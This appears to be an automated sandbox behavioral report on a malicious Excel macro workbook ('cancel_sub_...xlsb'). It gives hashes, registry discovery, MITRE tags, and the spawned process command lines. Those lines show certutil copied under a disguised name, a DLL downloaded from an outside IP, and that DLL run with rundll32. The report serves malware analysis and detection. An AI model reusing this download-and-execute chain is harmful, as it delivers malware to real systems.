Behavioral Report

Resubmissions

02-08-2021 09:30

210802-3asm5re99x 10

10-06-2021 19:14

210610-xr9avxf7f6 10

Analysis

max time kernel
252s
max time network
281s
platform
windows10_x64
resource
win10v20210408
submitted
02-08-2021 09:30

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Report Files Registry Network Processes Mutex Misc

General

Target

cancel_sub_VCP1234567890123.xlsb
Size

123KB
MD5

9e1ee4a42c381eabcf2cde38a1aae7c9
SHA1

015bb306d9e54001d433b3ac2e7212b864f54ae2
SHA256

fd71a2fcc0b5dd0fb0dbff257839b67749f2cadf30e2d3dae7f0e941d93d24d3
SHA512

d8955c76657c68542ebcd1fc0b14b69917976892a2005ff0fcace3754200d52c4557235e083b76f4115cc940281dbe77a8e390e8bd18fbe9d5cdb128191580ec

Score

10^/10

Malware Config

Extracted

Language

xlm4.0

Source

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1540	3128	cmd.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	636	3128	cmd.exe	EXCEL.EXE

Executes dropped EXE 1 IoCs

Processes:

TTObk2.exe

pid process

2264 TTObk2.exe

pid	process
2264	TTObk2.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

TTPs:

Query Registry System Information Discovery

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

TTPs:

Query Registry System Information Discovery

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3128 EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE
3128	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 3128 wrote to memory of 1540	3128	EXCEL.EXE	cmd.exe
PID 3128 wrote to memory of 1540	3128	EXCEL.EXE	cmd.exe
PID 3128 wrote to memory of 2264	3128	EXCEL.EXE	TTObk2.exe
PID 3128 wrote to memory of 2264	3128	EXCEL.EXE	TTObk2.exe
PID 3128 wrote to memory of 636	3128	EXCEL.EXE	cmd.exe
PID 3128 wrote to memory of 636	3128	EXCEL.EXE	cmd.exe
PID 636 wrote to memory of 2168	636	cmd.exe	rundll32.exe
PID 636 wrote to memory of 2168	636	cmd.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\cancel_sub_VCP1234567890123.xlsb"

Checks processor information in registry
Enumerates system info in registry
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory

PID:3128

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c mkdir %programdata%\TTObk2 && copy /b %SystemRoot%\System32\certutil.exe %programdata%\TTObk2\TTObk2.exe

Process spawned unexpected child process

PID:1540

C:\programdata\TTObk2\TTObk2.exe

"C:\programdata\TTObk2\TTObk2.exe" -urlcache -f -split http://195.123.235.51 c:\programdata\TTObk2\TTObk2.dll

Executes dropped EXE

PID:2264

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c rundll32 %programdata%\TTObk2\TTObk2.dll,StartW

Process spawned unexpected child process
Suspicious use of WriteProcessMemory

PID:636

C:\Windows\system32\rundll32.exe

rundll32 C:\ProgramData\TTObk2\TTObk2.dll,StartW

PID:2168

Network

MITRE ATT&CK Matrix

Collection

Command and Control

Credential Access

Defense Evasion

Discovery

Query Registry

T1012

System Information Discovery

T1082

Execution

Exfiltration

Impact

Initial Access

Lateral Movement

Persistence

Privilege Escalation

Replay Monitor

00:00 00:00

Downloads

C:\ProgramData\TTObk2\TTObk2.exe
MD5
056c7d065f4622da9cc2848f47e2bae2

SHA1
6c6f18b0ec53dc63488961c4240ec584ac71c25f

SHA256
e09a2d7ecac1a10c89e27750a18790da06ddd7311965dbc9ab6096f636dae61c

SHA512
db158c9b669a2668149caf30df32595a488dcc831d7518ca2e793eac0885492a2eaee838914e706a585b7f3f1c801e299c697b2cec509204561bb098e16253d5

Download Submit
C:\programdata\TTObk2\TTObk2.exe
MD5
056c7d065f4622da9cc2848f47e2bae2

SHA1
6c6f18b0ec53dc63488961c4240ec584ac71c25f

SHA256
e09a2d7ecac1a10c89e27750a18790da06ddd7311965dbc9ab6096f636dae61c

SHA512
db158c9b669a2668149caf30df32595a488dcc831d7518ca2e793eac0885492a2eaee838914e706a585b7f3f1c801e299c697b2cec509204561bb098e16253d5

Download Submit
memory/636-276-0x0000000000000000-mapping.dmp

Download
memory/1540-264-0x0000000000000000-mapping.dmp

Download
memory/2168-277-0x0000000000000000-mapping.dmp

Download
memory/2264-274-0x0000000000000000-mapping.dmp

Download
memory/3128-117-0x00007FFA70CE0000-0x00007FFA70CF0000-memory.dmp

Filesize
64KB

Download
memory/3128-123-0x00007FFA8F4D0000-0x00007FFA913C5000-memory.dmp

Filesize
30MB

Download
memory/3128-122-0x00007FFA913D0000-0x00007FFA924BE000-memory.dmp

Filesize
16MB

Download
memory/3128-121-0x00007FFA70CE0000-0x00007FFA70CF0000-memory.dmp

Filesize
64KB

Download
memory/3128-118-0x00007FFA70CE0000-0x00007FFA70CF0000-memory.dmp

Filesize
64KB

Download
memory/3128-114-0x00007FF7AA140000-0x00007FF7AD6F6000-memory.dmp

Filesize
53MB

Download
memory/3128-116-0x00007FFA70CE0000-0x00007FFA70CF0000-memory.dmp

Filesize
64KB

Download
memory/3128-115-0x00007FFA70CE0000-0x00007FFA70CF0000-memory.dmp

Filesize
64KB

Download